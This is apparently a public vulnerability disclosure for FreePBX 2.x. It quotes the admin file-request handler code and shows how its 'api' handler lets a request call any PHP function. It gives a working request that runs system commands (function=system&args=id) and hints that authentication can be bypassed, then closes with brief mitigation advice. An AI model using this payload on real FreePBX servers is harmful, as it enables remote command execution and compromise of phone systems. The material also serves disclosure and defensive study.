App : Freepbx 2.x
download : schmoozecom.com
Author : i-Hmx
mail : n0p1337@gmail.com
Home : sec4ever.com , secarrays ltd
Freepbx is famous asterisk based distro used world wide , it suffer from many vulns actually
simple one is included here just as a "knock knock" for the "schmoozecom" team ;)
Here you will see damn obvious PHP code Execution vuln , which can be upgraded to RCE and also dump all box's data
You can have a look if you are interested
File : admin/libraries/view.functions.php
function fileRequestHandler($handler, $module = false, $file = false){
global $amp_conf;
switch ($handler) {
case 'reload':
// AJAX handler for reload event
$response = do_reload();
header("Content-type: application/json");
echo json_encode($response);
break;
case 'file':
/** Handler to pass-through file requests
* Looks for "module" and "file" variables, strips .. and only allows normal filename characters.
* Accepts only files of the type listed in $allowed_exts below, and sends the corresponding mime-type,
* and always interprets files through the PHP interpreter. (Most of?) the freepbx environment is available,
* including $db and $astman, and the user is authenticated.
*/
if (!$module || !$file) {
die_freepbx("unknown");
}
//TODO: this could probably be more efficient
$module = str_replace('..','.', preg_replace('/[^a-zA-Z0-9-\_\.]/','',$module));
$file = str_replace('..','.', preg_replace('/[^a-zA-Z0-9-\_\.]/','',$file));
$allowed_exts = array(
'.js' => 'text/javascript',
'.js.php' => 'text/javascript',
'.css' => 'text/css',
'.css.php' => 'text/css',
'.html.php' => 'text/html',
'.php' => 'text/html',
'.jpg.php' => 'image/jpeg',
'.jpeg.php' => 'image/jpeg',
'.png.php' => 'image/png',
'.gif.php' => 'image/gif',
);
foreach ($allowed_exts as $ext=>$mimetype) {
if (substr($file, -1*strlen($ext)) == $ext) {
$fullpath = 'modules/'.$module.'/'.$file;
if (file_exists($fullpath)) {
// file exists, and is allowed extension
// image, css, js types - set Expires to 24hrs in advance so the client does
// not keep checking for them. Replace from header.php
if (!$amp_conf['DEVEL']) {
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 86400).' GMT', true);
header('Cache-Control: max-age=86400, public, must-revalidate',true);
}
header("Content-type: ".$mimetype);
ob_start();
include($fullpath);
ob_end_flush();
exit();
}
break;
}
}
die_freepbx("../view/not allowed");
break;
case 'api':
if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
$function = $_REQUEST['function'];
$args = isset($_REQUEST['args'])?$_REQUEST['args']:'';
//currently works for one arg functions, eventually need to clean this up to except more args
$result = $function($args);
$jr = json_encode($result);
} else {
$jr = json_encode(null);
}
header("Content-type: application/json");
echo $jr;
break;
}
exit();
}
Function is called at admin/config.php at line 132
if (!in_array($display, array('noauth', 'badrefer'))
&& isset($_REQUEST['handler'])
) {
$module = isset($_REQUEST['module']) ? $_REQUEST['module'] : '';
$file = isset($_REQUEST['file']) ? $_REQUEST['file'] : '';
fileRequestHandler($_REQUEST['handler'], $module, $file);
exit();
}
Well , it's easy to be exploitd to get any php function executed
eg. system
config.php?handler=api&function=system&args=id
usually it require authentication , but using your mind you can get around it smoothly ;)
that's it
Sollution?
of course i would never leave you @ sec nightmares , just modify your firewall Rules and don't make your box exposed to the nasty internet world :D
can you sleep well now?
of course not , you may be already compromised and also backdoored with super tiny php backdoor , so you'd better to remove all php data,
download latest upgrade from schmoozecom , reboot your box and you are safe . . (Temporary) ;)
Have a good day
./Faris <The Awsome>
